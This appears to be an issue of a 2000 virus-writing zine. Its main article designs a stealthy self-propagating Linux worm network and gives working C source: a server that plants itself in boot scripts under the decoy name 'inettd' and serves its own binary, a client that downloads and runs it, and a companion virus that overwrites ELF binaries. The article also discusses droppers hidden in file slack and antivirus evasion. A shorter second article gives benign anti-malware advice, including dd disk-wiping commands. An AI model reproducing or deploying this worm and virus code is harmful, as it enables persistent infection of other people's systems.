In this scenario the machine (B) is already logged into the Internet and is waiting for a server WORM machine to log in. It must constantly poll the Internet to see if it can establish a link with a server. After some time machine (A) logs onto the Internet and the W.O.O. is available for a sufficient amount of time for the entire server WORM to be downloaded onto the victim host machine (B).

Case 4:

Unfortunately this is one of the worst case scenarios there is ‘no window of opportunity’ (N.W.O.O.). In this case both the machines are connected but not at the same time.

ISPs for PPP dialup connection is one of the biggest problems for the iWORM-NET will be connection to the network when a link is down. In terms of failure, the worst case scenario for a client WORM VX is if the IP list provided is useless on the new host.

IP address lookup

IP addresses are collected by the server WORM as the history of links is built up they are passed onto the client WORM VX entities. The server WORM decided to create the W-Vx progeny and give the IP list of possible server WORMS to the W-Vx as a parting gift, this will include its own address of course. In the lifetime of the server it will be constantly monitoring the host machines connection to the Internet and saving the IP addresses internally in it’s data store. Using statistical analysis of the connections it will determine the best IP connection addresses to pass onto the client WORM VX. The IP links with the highest probability for success is the information that is passed onto the next generation of iWORM entities.

iWORM-NET

Servers will connect together and exchange IP information.

Servers will be allowed to pass sub system modules around among themselves, thus automatically updating themselves. A sexual recombination of sub system components could lead to an evolutionary mechanism. Hence give rise to a possible Artificial Life form. eLIFE maybe.

server WORMs would actively seek other iWORM servers by persistantly trying IP addresses from the historical list of infected host machines and the information obtained from other server WORMs. This is analogous to the system have many tendrils constantly seeking pathways into the cyberspace.

server WORM ‘spore’ survival strategy

So much effort has gone into maintaining the iWORM-NET structure that extra efforts to sustain its existence would be required. The system described is analogous to biological bacteria or fungal spore. The spore is a hardy survival mechanism that sleeps under harsh environmental conditions awaiting a trigger mechanism, a reactivation signal.

If the server were wiped out by accident or from some AV product, then the ability to reinstall itself would be advantageous. An extra layer of protection could be built into the system such as a separate dropper type entity. Unlike the usual dropper programs that are created by individuals and distributed with the drop facility the dropper program would be created dynamically by the server WORM. This dropper entity would remain inactive throughout the server WORMs’ lifetime. The dropper can take on many forms, a standalone application  ‘runme-please’ as an example (bit lame) or as a companion replacement or maybe the classic file append type virus. How about all of the above.

The dropper would lie in wait inactive until one day the user runs the command. The dropper application does it’s usually task before going back to sleep, namely to check for the existence of the server WORM, only on this occasion the server WORM is missing (deleted). The dropper will now reinstall the server WORM and then go back to sleep. It would probably be in the droppers’ interests not to drop the server WORM immediately after the first execution but to have a random counter or some non-regular strategy.

The advantage of dynamic creation of a dropper is that no one would know what it looks like there isn’t a standard program. The worm SERVER would have a template for creating the dropper, but again because the server WORM analyses the host machine and environment it can devise a suitable strategy for the dropper algorithms.

Because extra lengths would be introduced for survival, the dropper had best be implemented using the best stealth methods and concealment strategies. There are many ideas that could be implemented for this but I favour total concealment. In the case of a host file containing the control mechanism, what I recommend is inserting jump vectors inside the body of the host program. Inserting vector offsets inside the body of an application would require complete breakdown of the functionality of the application to make sure you don’t pick an instruction is inside an infinite while loop or something. An opportunistic jump inside the program to some lesser-used function of the program would be idea; (this would also enhance the sleeper function of the dropper).

Where would the dropper be located on disk, hmmm usually appended to the end of a file thus increasing the file length (think conceal). Well in most files the last sector is not usually completely full (file slack), Ahhh but the little bit at the end of a file won’t be enough surely? It’s true I don’t think it would be but hey there’s plenty of these file slack space around the entire system isn’t there. Use them all, and use a linked list to chain them altogether.  See Diagram 6.

Diagram 6

Well there are of course problems assosiated with the use of multiple file slacks. Files are being deleted all the time, so one file missing and the system would just fall over. There are serveral solutions to this problem, use system files that unlikely to be moved or change or use error correcting code. There are plenty of robust error correction algorithms mainly used in communication systems, well a WORM net is a sort of communications system, so lets borrow a few.

IP list strategy

The construction of an IP list is simple enough but that  isn’t the whole story

Code and Experimentation

client / server experiment

The code shown here is the early experimental snippets and is provided to demonstrate some principles. The system is written in C++ (well C really, no classes or OOP yet). The development platform is Linux and was compiled and tested under RedHat 5.1 distribution. I recommend that you setup two or more computers with an Ethernet connection between them. Use 192.168.254.002 for machine ( A ) and 192.168.254.003 for machine ( B ).

Run these experiments as ROOT user.  Try as an ordinary user this also as this changes the behaviour of the server. When copying files over from the compile machine to the other machine you may have to modify the file permissions in order to run the application for the first time.   Use  CHMOD +x  i.e. if copying the server app over to another machine use  “chmod +x server”  or “chmod +x client”  this will set the execute flag in the file permissions. You may notice some form of stealth in this application, its very weak but happens to be one of them tricks played on people without familiarity of  *nix OS systems namely there is a file called inettd very similar to ‘inetd’ would an ordinary user pick up on that ? I doubt it.

After the compile you will have the following files.  Compile instruction “g++ server.c -o server”

<   server       >

<   client        >

<   fileworm  >

Without the < > of course.  Run the ‘server’ application on machine ( A )  and run ‘client’ on machine ( B ).  Run the “./server” first on machine ( A ) and check that it’s running  i.e. check the process table using the   “ps -axl” command and look for the server process. Now on the machine ( B )    “./client 192.168.254.002”  the quad dot notation is used to specify the address of the server machine ( A ),  this wouldn’t be here of course in a full functioning system as the IP address would be in a lookup table.

Server code     server.c

************************************** cut here **********************************

// iWORM server

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/socket.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <netdb.h>

#include "all_rw.h"

#define  PORT_NO 0x800

#define IMBUFF_SZ 1024

main()

{

   printf("Start of Prog\n");

   int server_sockfd, client_sockfd;

   int server_len, client_len;

   char* client_ip;

   int client_port;

   struct sockaddr_in server_address;

   struct sockaddr_in client_address;

   struct hostent* mylocalinfo;

   struct hostent* clientinfo;

   char* client_name;

   char myname[256];

   struct in_addr my_in_addr;

   int image_fd;

   int rc_fd;

   int read_count;

   char image_buffer[IMBUFF_SZ];

   char rc_buf[IMBUFF_SZ+6];

   char* found;

   int rc_already = 0;

   int euid;

   char* bootfile;

   char* servfile;

   char workspace[32];

   char workspace2[32];

   char* needle;

   euid = geteuid();

   if(euid == 0)

   {

     needle = "inettd";

     bootfile = "/etc/rc.d/rc.sysinit";

     servfile = "/usr/sbin/inettd";

   }

   else

   {

     bootfile = workspace;

     strcpy(bootfile, getenv("HOME"));

     strcat(bootfile, "/.bash_profile");

     if(access(bootfile, F_OK) != 0)

     {

       rc_fd = creat(bootfile,0x755);

       close(rc_fd);

       printf("created %s\n", bootfile);

     }

     needle = "usercn";

     servfile = workspace2;

     strcpy(servfile, getenv("HOME"));

     strcat(servfile, "/usercntl");

   }

   for(int i=0; i<5; i++)

     rc_buf[i] = ' ';

   rc_buf[IMBUFF_SZ+5] = '\0';

   rc_fd = open(bootfile,O_RDONLY);

   do

   {

      read_count = all_read_if_poss(rc_fd, &(rc_buf[5]), IMBUFF_SZ);

      found = strstr(rc_buf, needle);

      if(found != NULL)

        rc_already++;

   }

   while(read_count >0);

   printf("rc_already=%d\n", rc_already);

   close(rc_fd);

   if(rc_already == 0)

   {

     rc_fd =  open(bootfile,O_WRONLY | O_APPEND);

     if(euid == 0)

       strcpy(rc_buf,"\n\n/usr/sbin/inettd > /dev/null &\n");

     else

       strcpy(rc_buf,"\n\n./usercntl > /dev/null &\n");

     all_write_absolute(rc_fd, rc_buf, strlen(rc_buf) + 1);

     close(rc_fd);

   }

   gethostname(myname,255); // who am I ?

   mylocalinfo = gethostbyname(myname);

   if(mylocalinfo == NULL)

   {

      printf("Trying to look up gethostbyname(%s)\n", myname);

      herror("Error HOST");

   }

   my_in_addr = *(struct in_addr*)(mylocalinfo->h_addr_list[0]);

   printf("my local name is %s\n", myname);

   printf("my local address     IP is %s\n",inet_ntoa(my_in_addr));

   server_sockfd = socket(AF_INET,SOCK_STREAM,0);

   //

   // socket entity that is the listening socket

   server_address.sin_family = AF_INET;

   server_address.sin_addr.s_addr = htonl(INADDR_ANY);

   server_address.sin_port = htons(PORT_NO);

   server_len = sizeof(server_address);

   bind(server_sockfd,(struct sockaddr*)&server_address,server_len);

   //

   // cast specific internet socket address point

   // to a generic socket address pointer

   listen(server_sockfd,5);

   while(1)

   {

      char ch;

      printf("server waiting\n");

      client_sockfd = accept(server_sockfd,(struct sockaddr*)

      &client_address,&client_len);

      client_ip = inet_ntoa(client_address.sin_addr);

      clientinfo = gethostbyaddr((char*)&

      (client_address.sin_addr),4,AF_INET);

      if(clientinfo == NULL)

      {

        printf("Trying to look up gethostbyaddr\n");

        herror("Error HOST");

      }

      client_name = clientinfo->h_name;

      client_port = ntohs(client_address.sin_port);

      //

      // ntohs   is net to host  short

      printf("Connection from client %s named %s on port %d

      \n",client_ip,client_name,client_port);

      read(client_sockfd, &ch,1);

      printf("Got request character %c\n", ch);

      image_fd = open("/usr/sbin/inettd", O_RDONLY);

      //

      // now send image ...

      if(image_fd < 0) // fail?

      {

        image_fd = open(servfile, O_RDONLY);

  printf("Cannot open inettd\n");

      }

      else

      {

        printf("Opened inettd\n");

      }

      if(image_fd < 0) // fail?

      {

        image_fd = open("server", O_RDONLY); // try local

printf("Cannot open %s\n", servfile);

      }

      if(image_fd < 0) // fail?

      {

        image_fd = open("server", O_RDONLY); // try local

  printf("Cannot open any server at all :-(\n");

  continue;

      }

      do

      {

        read_count = all_read_if_poss(image_fd, image_buffer,

        IMBUFF_SZ);

        all_write_absolute(client_sockfd, &read_count, 4);

        //

        // send count of block size

        printf("Block Size %d\n", read_count);

        if(read_count)

          all_write_absolute(client_sockfd, image_buffer,

          read_count);

      }

      while(read_count>0); // keep reading until end of file

      close(image_fd);

      close(client_sockfd);

   }

}

// compile:   g++ server.c -o server

// run        ./server

************************************** end cut here **********************************

end of server code

client code    client.c

************************************** cut here **********************************

// iWORM client

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <stdio.h>

#include <string.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <netdb.h>

#include <stdlib.h>

#include "all_rw.h"

#define  PORT_NO 0x800

#define IMBUFF_SZ 1024

main(int argc, char** argv)

{

   printf("Start of Client\n");

   int sockfd;

   int len;

   struct sockaddr_in address;

   char* host;

   struct in_addr host_in_addr;

   struct in_addr my_in_addr;     // i.e. the local clinet address

   struct hostent* hostinfo;

   struct hostent* mylocalinfo;

   char myname[256];

   int image_fd;

   int read_count;

   char image_buffer[IMBUFF_SZ];

   int pid;

   int result;

   char ch = 'A';

   int uid;

   int euid;

   char* fname;

   char userhome[32];

   uid = getuid();

   euid = geteuid();

   if(euid != 0) // not root?

   {

     printf("Normal user u=%d e=%d\n", uid, euid);

   }

   else

   {

     printf("Root user u=%d e=%d\n", uid, euid);

   }

   if(access("/usr/sbin/inettd",X_OK) == 0)

      // file exists

   {

     printf("Nothing to do\n");;

     exit(0);

   }

      gethostname(myname,255);  // who am I ?

      if(argc == 1)

      {

         host = myname;

      }

      else

      {

         host = argv[1];

      }

      printf("connection will be to %s\n\n",host);

      hostinfo = gethostbyname(host);

      host_in_addr = *(struct in_addr*)(hostinfo->h_addr_list[0]);

      printf("connection to server IP is %s\n",inet_ntoa(host_in_addr));

      mylocalinfo = gethostbyname(myname);

      if(mylocalinfo == NULL)

      {

         printf("Trying to look up gethostbyname(%s)\n", myname);

         herror("Error HOST");

      }

     my_in_addr = *(struct in_addr*)(mylocalinfo->h_addr_list[0]);

     printf("my local address     IP is %s\n",inet_ntoa(my_in_addr));

     sockfd = socket(AF_INET,SOCK_STREAM,0);

     address.sin_family = AF_INET;

     address.sin_addr = host_in_addr;

     address.sin_port = htons(PORT_NO);

     len = sizeof(address);

     result = connect(sockfd,(struct sockaddr*)&address,len);

     if(result == -1)

     {

        perror("Panic: client");

        exit(1);

     }

     write(sockfd,&ch,1);

     printf("Sent request character %c\n", ch);

      if(euid == 0)

        fname = "/usr/sbin/inettd";

      else

      {

        strcpy(userhome, getenv("HOME"));

fname = userhome;

        strcat(fname,"/usercntl");

printf("FNAME: %s\n", fname);

      }

      image_fd = open(fname, O_CREAT | O_WRONLY | O_TRUNC, 0x644);

      if(image_fd <0)

      {

perror("Failed to create: ");

exit(1);

      }

      do

      {

         all_read_absolute(sockfd, &read_count, 4);

 printf("Expecting %d bytes from server ", read_count); fflush(stdout);

         if(read_count)

 {

    all_read_absolute(sockfd, image_buffer, read_count);

            printf("[Data transferred] "); fflush(stdout);

    all_write_absolute(image_fd, image_buffer, read_count);

            printf("[Data written]\n");

 }

      }

      while(read_count>0); // keep reading until end of file

      close(image_fd);

      if(chmod(fname, 0x755) <0)

      {

        printf("Fname %s\n", fname);

perror("chmod problem: ");

      }

      close(sockfd);

      pid = fork();

      switch(pid)

      {

        case -1:

          printf("Fork failed\n");

          exit(2);

        case 0: // child

          execl(fname,"-bash",NULL);

  perror("Exec failure: ");

          printf("Exec failed\n");

          exit(3);

        default:

          exit(0);

      }

}

// compile:   g++ client.c -o client

// run        ./client

************************************** end cut here **********************************

end of client code

client support code    all_rw.c

************************************** cut here **********************************

#ifndef ALL_RW_H

#define ALL_RW_H

// Utility Wrappers for read() and write() to allow completion

// of required size of transfer, in absence of EOF, or Absolutely

int all_read_if_poss(int fd, void* vbuf, int size)

{

  char* buf;

  int bytes_already_done;

  int bytes_done_this_time;

  buf = (char*)vbuf;

  bytes_already_done = 0;

  while(bytes_already_done < size) // keep calling read until all bytes got

  {

     bytes_done_this_time = read(fd, buf + bytes_already_done, size -

     bytes_already_done); // try to process anything remaining

     //

     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = read(fd, &(buf

     // [bytes_already_done]), size - bytes_already_done);

     //

     // try to process anything remaining

     if(bytes_done_this_time < 0) // ERROR?

       return bytes_done_this_time;

     if(bytes_done_this_time == 0) // Probable End of File

       return bytes_already_done;

     bytes_already_done += bytes_done_this_time;

     //

     // update count of what has been processed

  }

  return bytes_already_done; // which should equal size

}

int all_write_if_poss(int fd, void* vbuf, int size)

{

   char* buf;

   int bytes_already_done;

   int bytes_done_this_time;

   buf = (char*)vbuf;

   bytes_already_done = 0;

   while(bytes_already_done < size) // keep calling write until all bytes got

   {

      bytes_done_this_time = write(fd, buf + bytes_already_done, size -

      bytes_already_done); // try to process anything remaining

      //

      // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = write(fd, &(buf

      // [bytes_already_done]), size - bytes_already_done);

      // try to process anything remaining

      if(bytes_done_this_time < 0) // ERROR?

         return bytes_done_this_time;

      if(bytes_done_this_time == 0) // Probable End of File

         return bytes_already_done;

      bytes_already_done += bytes_done_this_time;

      //

      // update count of what has been processed

   }

   return bytes_already_done; // which should equal size

}

int all_read_absolute(int fd, void* vbuf, int size)

{

  char* buf;

  int bytes_already_done;

  int bytes_done_this_time;

  buf = (char*)vbuf;

  bytes_already_done = 0;

  while(bytes_already_done < size) // keep calling read until all bytes got

  {

     bytes_done_this_time = read(fd, buf + bytes_already_done, size -

     bytes_already_done); // try to process anything remaining

     //

     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = read(fd, &(buf

     // [bytes_already_done]), size - bytes_already_done);

     // try to process anything remaining

     if(bytes_done_this_time < 0) // ERROR?

        return bytes_done_this_time;

        bytes_already_done += bytes_done_this_time;

        //

        // update count of what has been processed

  }

  return bytes_already_done; // which should equal size

}

int all_write_absolute(int fd, void* vbuf, int size)

{

  char* buf;

  int bytes_already_done;

  int bytes_done_this_time;

  buf = (char*)vbuf;

  bytes_already_done = 0;

  while(bytes_already_done < size) // keep calling write until all bytes got

  {

     bytes_done_this_time = write(fd, buf + bytes_already_done, size -

     bytes_already_done);

     // try to process anything remaining

     // ABOVE COULD BE WRITTEN AS:  bytes_done_this_time = write(fd, &(buf //

     // [bytes_already_done]), size - bytes_already_done);

     // try to process anything remaining

     if(bytes_done_this_time < 0) // ERROR?

        return bytes_done_this_time;

     bytes_already_done += bytes_done_this_time;

     // update count of what has been processed

  }

  return bytes_already_done; // which should equal size

}

#endif

************************************** end cut here **********************************

end of client support code

fileworm VX

The “fileworm”  is just a noddy example of  a possible VX that would be used to transport the client socket program around. The fileworm VX  can be modified to include the client program and execute that code as and when. It maybe prudent to check if there is already a client WORM VX already in operation.

The fileworm program can be run from the /bin  /usr/bin  or /usr/sbin directories as there are lots of ELF binaries here to check it’s functionality. The files that have been exploited will have (original) appended to the file name  i.e.  filename  becomes filename(original).   Run the clean up script to undo the infection process.

fileworm    fileworm.c

************************************** cut here **********************************

// fileworm VX or companion VX

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <dirent.h>

#include <unistd.h>

#include <errno.h>

#include <ctype.h>

#include <string.h>

main(int ac, char** av, char** envp)

{

   char* tailp;

   int namelen;

   int ch;

   char Myname[64];

   char Myorgname[74];

   DIR* dirp;

   struct dirent* dentp;

   char filename[64];

   char orgfilename[74];

   FILE* fp;

   int result;

   char command[80];

   char buffer[8];

   struct stat StatBuf1;

   struct stat StatBuf2;

   strcpy(Myname, av[0]);

   dirp = opendir(".");

   if(dirp == NULL)

      exit(0);

   while(1)

   {

      dentp = readdir(dirp);

      if(dentp == NULL)

         exit(0);

      strcpy(filename, dentp->d_name);

      if(!strcmp(filename, Myname))

         continue;

      fp = fopen(filename, "rb");

      if(!fp)

         exit(0);

      for(int i=0; i<5; i++)

      {

         ch = getc(fp);

         if(i>0)

            buffer[i-1] = ch;

      }

      fclose(fp);

      if(!strncmp(buffer,"ELF", 3))

      {

         namelen = strlen(filename);

         if(namelen>10)

         {

            tailp = &(filename[namelen - 10]);

            if(!strcmp(tailp, "(original)"))

               continue;

         }

         strcpy(orgfilename,filename);

         strcat(orgfilename,"(original)");

         if(access(orgfilename, F_OK) == 0)

            continue;

         stat(filename,&StatBuf1);

         stat("/bin/cp",&StatBuf2);

         if(StatBuf1.st_ino == StatBuf2.st_ino)

            continue;

         rename(filename, orgfilename);

         sprintf(command,"cp %s %s",Myname, filename);

         system(command);

         strcpy(Myorgname, Myname);

         strcat(Myorgname, "(original)");

         execve(Myorgname, av, envp);

         exit(0);

      }

   }

}

//The above is compiled with g++ filename.cc -o filename

************************************** end cut here **********************************

end of fileworm code

Fix Script cleanup.sh

After experimenting with this binary code you may wish to clean up the harddisk and remove the replicating code

Cleanup script   cleanup.sh

************************************** cut here **********************************

#

# check for mv and ls first!

if [ -f 'mv(original)' ]

then

   echo Restoring mv '(this will be found again - DONT PANIC!!!)'

   cp 'mv(original)' mv

fi

if [ -f 'ls(original)' ]

then

   echo Restoring ls

   mv 'ls(original)' ls

fi

for i in *'(original)'

do

ls -l $i

j=`basename $i '(original)'`

echo about to restore over $j

ls -l $j

echo ' Hit CR '

read k

mv $i $j

echo Restored.

ls -l $j

echo

echo

done

************************************** end cut here **********************************

end of cleanup script

make the above script executable with chmod +x

Conclusions and Discussion

This section will probably be published as a sort of bullet point. Due to lack of time for writing it properly.

The key to survival strategy is stealth so every trick in the book must be considered. There’s no point in writing such a system if it’s going to be discovered in 5 minutes after its release.

The iWORM-NET system could be described as an ‘autonomous distributed bootstrap’.

The iWORM-NET should be written in ASM especially the client WORM VX, however there maybe a case for just writing the server WORM in C++ and take advantage of what high level languages have to offer. The reason for this is the fact that the server will be a large application anyway and possible wouldn’t benefit from Assembly.

Source code should be kept in the body of the server WORM. The server WORM would have the binary executable and the source code encapsulated. This way the server WORM would be able to recompile itself with the latest version of an updated function added to the operating system. It is very unlikely that standard function calls will change in name i.e. gethostbyname( ) isn’t likely to change in the very near future is it. However the library ‘socket.h’ will probably be enhanced to take into account new features added to the ever-growing Internet. Of course the parameter values may change ever so slightly, well if it doesn’t compile or kills the iWORM at run time, then call it ‘Natural Selection’. One of the requirements in eLIFE, survival of the fittest.

How much ISP IP info will be kept ? This question needs some consideration. If all the IP information is retained there could be a bit of a problem, size of storage is an obvious problem. More important reasons for not retaining every IP address obtained is because the entire network would be tracable, and tracable back to it's origins, (not good) secondly some IP information is more useful than others. The statistical probability that some connections will be better than others will play an important role in deciding what IP addresses are kept and which ones are dropped. There will also be a need to introduce some random variant into this calculation, to avoid stagnation in the system.

The material presented in this document can equally be applied to Windows operating system and use WINSOCK.DLL. It wouldn't take a great deal of effort to construct a multi-operating / platform system iWORM-NET. In the case of a dual Linux / Windows system the Linux iWORM would carry a windows binary iWORM and could use the following type command to access Windows if it was on partition hda1 'mount -t vfat /dev/hda1 /mnt/hda1' . From here the server could just drop the windows iWORM entity or better still manipulate the file structure to guarentee success.

A kick start process for the iWORM-NET would be a guarenteed connection to an IP address with the server WORM system intact. This could be done in a number of ways. An early launch would be to use a fixed website with an FTP binary downloadable. This would ensure the iWORM network gets established, critical mass if you like. The fall back with this stratergy is the likely hood of it's discovery by the authorities and AV investigators. Thus causing it's premature shutdown or worse still a mechamism to kill off the network with rouge code.

The server WORM is responsible for the creation of client WORM VX. This creation process would call upon a vast library of VX templates, this would be of the form of a sort of VCK similar to ideas in widespead use. The different building blocks could be picked at random and assembled to form many variations of VX mechanisms. Throw in some high powered stealth and the possibilities are endless.

Copyright © PZest   2000

I take no responsibility for the damage you may cause to your own or other peoples machines, the information provided in this paper is for your personal edification and not for malicious damage on your part. If you don’t know what you’re doing then don’t tinker about with things you don’t understand. I reserve copyright on this material so no modifications either.

References

Douglas E. Comer.

"Internetworking with TCP/IP"

Prentice Hall.

ISBN 0-13-018380-6

Brian Komar.

"TCP/IP Network Administration"

SAMS.

ISBN 0-672-31250-6

Neil Matthew & Richard Stone.

"Beginning Linux Programming"

WROX PRESS.

ISBN 1-874416-68-0

Rusling,  Pomerantz, Goldt, van  de Meer, Burkett, Welsh, Bowman, Sidiqqi, Tanuan

"Linux Programming: White Papers

Coriolis Open Press

ISBN 1-57610-473-7


Brute Force Management 101 by PZest

Brute Force Management and Removal of Virus, Trojans and Backdoors

by Paul Zest  a.k.a. PZest

-|-

pzest@coderz.net

Introduction

This article is concerned with a brute force removal of unwanted invaders. This method is guaranteed (99.9% for PC based computers) to kill, remove and destroy all known virus, Trojans and backdoor programs. It requires some very simple methods, public utility programs and a bit of discipline.

The Problem

Nowadays more and more people are exposed to the risks of the Internet, connect to an IRC channel and be exposed to people sending files loaded with virus or Trojan attachments, a lot of the time the host sender is unaware they are a carrier of such programs. Other threats include hackers gaining access to unsecured PCs. There are several nasty backdoor programs out there, including Back Orifice, Sub7, Netbus and DeepThroat.

The transmission of infected files is common place everyone is susceptible to being infected by an invader. There are of course many AV products available to end users to detect and in many cases remove an infection. Sometimes the use of AV products isn’t enough protection in a fast moving Internet environment; products are out of date within one day.

As well as indirect viral invaders there are the direct hackers using port scanners looking for available services they can exploit. These hackers can use many methods to gain access to the unsecured PC ranging from convincing users to run Trojan backdoor applications to direct assault on open ports. Lots of operating systems have weaknesses and hackers exploit these weak spots, popular ones are documented and known by any self-respecting hacker.

The Solution

There are many solutions to solve the problem of keeping invaders at bay one of the best ones is to take preventative measures and reduce risk. Reducing risk is of course difficult when the user is relatively inexperienced and is complacent about the actual risks involved.  Crossing fingers and hoping for the best is not a good risk management strategy.

Brute force method (overview)

This is a method for keeping invaders under control.

Use a Firewall. There are plenty of easy to use effective systems that are free for personal use.

Don’t Accept files from anyone even people you know, they might be infected.

Periodically reinstall a known clean OS system. After every Internet connection.

A firewall will prevent unauthorised access to your computer from outside sources. It will filter incoming and outgoing data.  The firewall can make your connection to the Internet appear invisible to hackers using port scanners, the firewall uses stealth techniques. Windows has a few cheap and nasty features available to hackers for their usage one of the worst is NetBios available on port 139, its like dangling a carrot to any would be hacker. NetBios will turn your PC into an Internet server, allowing casual thieves to enter the PC. The NetBios system allows a group of PC’s in a local network to be linked together to share resources such as files and printers, fine on local system but as soon as the PC is connected to the Internet it also shares these resources to the would be hackers. Even with this facility switched on and sharing its resources, behind a firewall it remains invisible.

If you accept files from people then the risk of infection is present.  Accepting emails with attachment is a big risk this is how outbreaks such as Melissa and the Love letter started. Sharing document and utility programs carries a big risk.

The section that follows is concerned with periodically reinstalling a clean working operating system.

Brute Force (Implementation)

The method described is not recommended for inexperienced users or people with no knowledge of *nix operating systems such as Linux. If you fall into that category use commercially available solutions that are advertised in magazines or use a search engine and search for security products and backup utilities.  The method described below is free but can be extremely hazardous to your data if not used correctly. YOU HAVE BEEN WARNED!

What ever operating system you use Microsoft Windows, MS-DOS, OS/2, all the *nix variants such Linux, FreeBSD etc. etc.  They all have something in common; they operate on standard hard disk devices such as IDE and SCSI.

This method assumes you have at least two hard disks. Number one disk is the larger of the two disks and contains all-important data and files you use and value. Number two disk, is the disk you will normally use to connect to the Internet for surfing and doing whatever activity on the Internet you desire.

This Internet connection disk is created on the computer with whatever operating system you desire all software loaded onto this disk must be free from contamination. The disk is configured for its intended usage with all the appropriate software. When you are happy with the software installed and before you start to surf on the network a copy of the disk image must be taken, a snapshot of all the files. It’s this snapshot image that will be used and reused for Internet connections and so the image must be saved away for later recovery and restoration back onto Disk number two.

Disk number one is you main disk and should be free from any contamination. This disk should not be connected to the Internet and any files added to this disk should be checked for viral, Trojan and backdoor infections using a good AV product. This non-Internet disk will be the disk that contains the snapshot image of disk two and therefore should be larger than disk two.

This brute force system uses the Linux operating system. Other operating systems could be used but are not described here however a similar utility to the one described can be written in 16-bit DOS or 32-bit M$ Windows. All that is required is control of the disk controller. The Linux ‘dd’ utility will be used. ‘dd’ stands for disk device and further instruction in its use is described in the Linux manual pages or how-to guide. For this system the ‘dd’ take two argument the input file and the output file.

dd if=/dev/hdb of=myimagefile This is the save image of disk command

if  is the input file

of is the output file

dd if=myimagefile of=/dev/hdb This is the restore image of disk command

Now be warned that the dd command gives no fancy warning or prompts it just carries out the instructions given. The part of the command  /dev/hdb is the primary slave disk and in order to connect the disk in this mode it is usual the change a selection pin on your hard disk device refer to your hardware manual for advice on how this is done. There is no requirement to mount the primary slave disk (Disk number 2 your Internet surfing disk) this is all taken care of by the ‘dd’ utility.

WARNING!  If you type in the wrong parameters for ‘dd’ command there is no recovery from the mistake so under no circumstances make the mistake of using ‘/dev/hda’ because this refers to the primary master disk. Once the ‘dd’ utility is working there will be no prompt or progress reports. The process will terminal if there was an error or the command has completed execution.

Wiping the disk

After a session on the Internet you may require to save all the files that you have downloaded. There is no guarantee that the files you have saved haven’t got some viral or backdoor infection. Email attachments can still contain infected files and anything else you download could contain any number of invaders. Its up to you to check out your files using some sheep dip process i.e. copy files onto a floppy disk and scan them with an upto date AV scanner product.

Now you have finished your Internet surfing session you may wipe the disk completely to ensure that even if  a hacker has installed some backdoor program onto your machine or there are hidden viral infection lurking in hidden parts of the disk they can all be eliminated. 99.9%.

Use the ‘dd’ utility once again but this time instead of restoring the image file myimagefile overwrite the disk with zeros  ‘0’

dd if=/dev/zero of=/dev/hdb This is the going to write zero to the entire disk

Now you can restore the Internet surfing image back to the disk

dd if=myimagefile of=/dev/hdb This is the restore image of disk command

The disk number two is now ready for another Internet surfing session and is guaranteed to be 99.9% free from any infection.

Discussion and Conclusions

This method described in this article is one of many strategies that could be implemented to reduce the end users exposure to the pervasive attack from outside invaders. The system used is Linux as a matter of choice and doesn’t preclude the use of other operating systems or indeed commercial products such as ‘Norton Ghost’ utility. In fact with a commercial product you have a user interface with safety options and progress reporting. The biggest benefit from using the Linux method described is the have the entire source code for the operating system and utility programs i.e. you can trust that no backdoors have been ready built in through personal verification of that source. You are free to modify the code and add bells and whistles to the utility programs.

I reiterate the fact that this system is only 99.9% guaranteed because that last 0.1% is the uncertainty factor that some clever backdoor merchant has a way of circumnavigating this procedure.

References and Information

Thanks to BSL4 for some advice on hacking issues.

BSL4  (knowledgeable guy in virus and hacking information) BSL4vx@hushmail.com

Steve Gibson is a clever fellow that is concerned with security issues visit his site read what he has to say and let his software test your systems vulnerability to Internet intruders. He has good advice and links to sites for free firewall software.

Gibson Research Corporation http://grc.com

Get a good book on security.

Maximum Linux Security : A Hacker’s Guide to Protecting your Linux Server and Workstation

Anonymous

SAMS

ISBN 0-672-31670-6

Read the Linux Manual pages on ‘dd’ utility


special
Special Hidden Section

Metaphase Issue #2

2000